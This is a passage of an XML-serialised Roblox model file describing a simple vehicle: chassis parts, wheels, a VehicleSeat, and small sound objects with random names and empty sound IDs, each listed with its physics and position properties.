				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1858">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">h41lcc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1859">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>200</X>
					<Y>1.60000002</Y>
					<Z>-25</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>50</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1860">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Motor (torque)Chassis</string>
				<Ref name="PrimaryPart">RBX1861</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1861">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.300000012</float>
					<float name="BottomParamB">0.300000012</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1005</int>
					<CoordinateFrame name="CFrame">
						<X>245</X>
						<Y>1.89999998</Y>
						<Z>8</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00118217827</X>
						<Y>0.00220030732</Y>
						<Z>-0.00017520129</Z>
					</Vector3>
					<float name="TopParamA">-0.300000012</float>
					<float name="TopParamB">0.300000012</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.014109497</X>
						<Y>0.00162590353</Y>
						<Z>0.00616447208</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1.20000005</Y>
						<Z>12</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1862">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">8b2ksh</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1863">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1005</int>
					<CoordinateFrame name="CFrame">
						<X>240.989517</X>
						<Y>2.39582944</Y>
						<Z>3.99747825</Z>
						<R00>0.00309722009</R00>
						<R01>0.404404193</R01>
						<R02>0.9145751</R02>
						<R10>-0.00111943122</R10>
						<R11>0.914580345</R11>
						<R12>-0.404402703</R12>
						<R20>-0.999994516</R20>
						<R21>0.000228706398</R21>
						<R22>0.00328536076</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0.300000012</float>
					<float name="LeftParamB">0.300000012</float>
					<token name="LeftSurface">6</token>
					<token name="LeftSurfaceInput">2</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Right Front</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>2.64489961</X>
						<Y>18.7773705</Y>
						<Z>-3.33388305</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>8.31230831</X>
						<Y>-3.01708865</Y>
						<Z>-1.38910472</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1864">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">y398sd</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1865">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1005</int>
					<CoordinateFrame name="CFrame">
						<X>240.993988</X>
						<Y>2.39561367</Y>
						<Z>11.998312</Z>
						<R00>-0.00316091557</R00>
						<R01>-0.970827579</R01>
						<R02>-0.239757985</R02>
						<R10>0.000102214501</R10>
						<R11>-0.239759549</R11>
						<R12>0.970832348</R12>
						<R20>-0.999995053</R20>
						<R21>0.00304417615</R21>
						<R22>0.000857039122</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Left Front</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0.300000012</float>
					<float name="RightParamB">0.300000012</float>
					<token name="RightSurface">6</token>
					<token name="RightSurfaceInput">1</token>
					<Vector3 name="RotVelocity">
						<X>-1.14752996</X>
						<Y>-16.7482548</Y>
						<Z>-3.03384328</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>9.58819485</X>
						<Y>-2.67154622</Y>
						<Z>-1.02323341</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1866">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">k2n5e8c</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1867">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1005</int>
					<CoordinateFrame name="CFrame">
						<X>249.000137</X>
						<Y>2.3986752</Y>
						<Z>4.00029707</Z>
						<R00>7.6510667e-005</R00>
						<R01>0.672320962</R01>
						<R02>-0.740259707</R02>
						<R10>-0.000572657736</R10>
						<R11>-0.740259469</R11>
						<R12>-0.672320902</R12>
						<R20>-0.999999821</R20>
						<R21>0.000475337321</R21>
						<R22>0.00032844051</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0.300000012</float>
					<float name="LeftParamB">0.300000012</float>
					<token name="LeftSurface">6</token>
					<token name="LeftSurfaceInput">2</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Right Rear</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.500207365</X>
						<Y>-0.0692678839</Y>
						<Z>-0.00265897391</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.115593672</X>
						<Y>0.146167859</Y>
						<Z>-0.129871264</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1868">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">c6ouqz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1869">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1005</int>
					<CoordinateFrame name="CFrame">
						<X>248.996078</X>
						<Y>2.40178776</Y>
						<Z>12.0074692</Z>
						<R00>0.000987772248</R00>
						<R01>-0.566106737</R01>
						<R02>0.824331343</R02>
						<R10>-0.00269545475</R10>
						<R11>0.82432723</R11>
						<R12>0.566107213</R12>
						<R20>-0.999995887</R20>
						<R21>-0.00278112339</R21>
						<R22>-0.000711665896</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Left Rear</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0.300000012</float>
					<float name="RightParamB">0.300000012</float>
					<token name="RightSurface">6</token>
					<token name="RightSurfaceInput">1</token>
					<Vector3 name="RotVelocity">
						<X>-1.75947785</X>
						<Y>-0.0206837822</Y>
						<Z>-0.0187842809</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-1.2455765</X>
						<Y>0.915724695</Y>
						<Z>4.52455902</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1870">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">281hws43</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX1871">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">111wbbtz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1872">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>208.000809</X>
					<Y>1.40552771</Y>
					<Z>-40.0029602</Z>
					<R00>-0.999764681</R00>
					<R01>-0.00428368151</R01>
					<R02>-0.0212664567</R02>
					<R10>-0.0141131412</R10>
					<R11>0.872928143</R11>
					<R12>0.487644643</R12>
					<R20>0.0164751746</R20>
					<R21>0.487830013</R21>
					<R22>-0.872783184</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>5.20569372</X>
					<Y>-8.95580578</Y>
					<Z>-2.42311597</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-5.71257591</X>
					<Y>-5.35431194</Y>
					<Z>-23.671505</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1873">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">41wty9r</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1874">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>208.000031</X>
					<Y>1.40505207</Y>
					<Z>-43.0215454</Z>
					<R00>-0.99961549</R00>
					<R01>-0.00781333074</R01>
					<R02>-0.0266047101</R02>
					<R10>-0.0127109978</R10>
					<R11>0.981849134</R11>
					<R12>0.189237118</R12>
					<R20>0.0246432405</R20>
					<R21>0.189502537</R21>
					<R22>-0.981570899</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>2.78372407</X>
					<Y>-7.53111887</Y>
					<Z>-7.8716197</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-3.43600774</X>
					<Y>-3.97020769</Y>
					<Z>-15.3995905</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1875">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">rgqlp</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1876">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>208.021362</X>
					<Y>1.39862537</Y>
					<Z>-46.0132637</Z>
					<R00>-0.999608278</R00>
					<R01>0.00654625148</R01>
					<R02>-0.027212698</R02>
					<R10>-0.0119157676</R10>
					<R11>0.780219495</R11>
					<R12>0.625392318</R12>
					<R20>0.0253258534</R20>
					<R21>0.625471592</R21>
					<R22>-0.77983582</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-7.45523643</X>
					<Y>6.37933874</Y>
					<Z>14.2939978</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>30.9042358</X>
					<Y>8.03398228</Y>
					<Z>-16.7975597</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1877">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">zqnh9fn</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1878">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>201.999741</X>
					<Y>1.40314114</Y>
					<Z>-34</Z>
					<R00>0.999999762</R00>
					<R01>0.000704131438</R01>
					<R02>-4.47797817e-007</R02>
					<R10>-0.000704131438</R10>
					<R11>0.999999762</R11>
					<R12>1.15120056e-005</R12>
					<R20>4.55903688e-007</R20>
					<R21>-1.15116873e-005</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-4.27717787e-005</X>
					<Y>0.00144141598</Y>
					<Z>9.74570656</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.266807765</X>
					<Y>0.124964043</Y>
					<Z>-0.000302432163</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1879">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">73de</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1880">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>205</X>
					<Y>3</Y>
					<Z>-40</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">30</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">4</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1881">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1882">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>202.000504</X>
